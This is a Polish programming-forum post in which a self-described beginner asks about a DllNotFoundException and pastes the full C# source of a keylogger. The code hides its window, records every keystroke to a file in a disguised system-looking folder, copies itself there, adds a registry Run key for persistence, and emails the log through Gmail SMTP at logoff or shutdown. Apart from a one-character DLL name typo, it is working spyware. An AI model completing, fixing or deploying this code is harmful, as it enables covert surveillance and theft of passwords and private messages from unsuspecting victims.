Witam, od nie dawna uczę się programowania postanowiłem zrobić keyloggera i wystąpil o taki błąd
System.DllNotFoundException: 'Nie można załadować biblioteki DLL 'kerne132.dll': Nie można odnaleźć określonego modułu. (Wyjątek od HRESULT: 0x8007007E)'
a to jest cały kod
using Microsoft.Win32;
using System;
using System.IO;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace keylogger1
{
class Program
{
public static bool chkSysEve = false;
public static string path = @"C:\Windows Handler\";
public static string fPath = @"C:\Windows Handler\Handler.dat";
public static string appName = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
public static string appExe = Path.GetFileName(appName);
[DllImport("kerne132.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(Int32 i);
[DllImport("User32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
//const int SW_SHOW = 5;
static void Main(string[] args)
{
Program p = new Program();
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
ExLoop:
if (!Directory.Exists(path))
{
Directory.CreateDirectory(path);
File.Create(fPath);
}
else if (Directory.Exists(path) && !File.Exists(fPath))
{
File.Create(fPath);
if (!File.Exists(fPath))
{
goto ExLoop;
}
else
{
p.Spread();
using (StreamWriter writer = new StreamWriter(fPath))
{
while (chkSysEve == false)
{
Thread.Sleep(10);
for (int i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
SystemEvents.SessionEnding += SystemEvents_SessionEnding;
writer.WriteLine((Keys)i);
writer.Flush();
break;
}
}
}
}
}
}
}
static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
{
chkSysEve = true;
Program p = new Program();
switch (e.Reason)
{
case SessionEndReasons.Logoff:
p.SendMail();
break;
case SessionEndReasons.SystemShutdown:
p.SendMail();
break;
}
}
private void SendMail()
{
Program p = new Program();
string date = DateTime.Now.ToString(@"dd\/MM h\:mm tt ");
string user = Environment.UserName;
try
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("");
mail.To.Add("");
mail.Subject = "Saved Keys From" + date;
mail.Body = "Keystrokes saved from user" + user;
Attachment attachment;
attachment = new Attachment(fPath);
mail.Attachments.Add(attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("", "");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
private void Spread()
{
if (!File.Exists(path + appExe))
{
FileInfo fi = new FileInfo(appName);
fi.CopyTo(path + appExe);
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
rk.SetValue(appExe, path + appExe);
}
}
}
}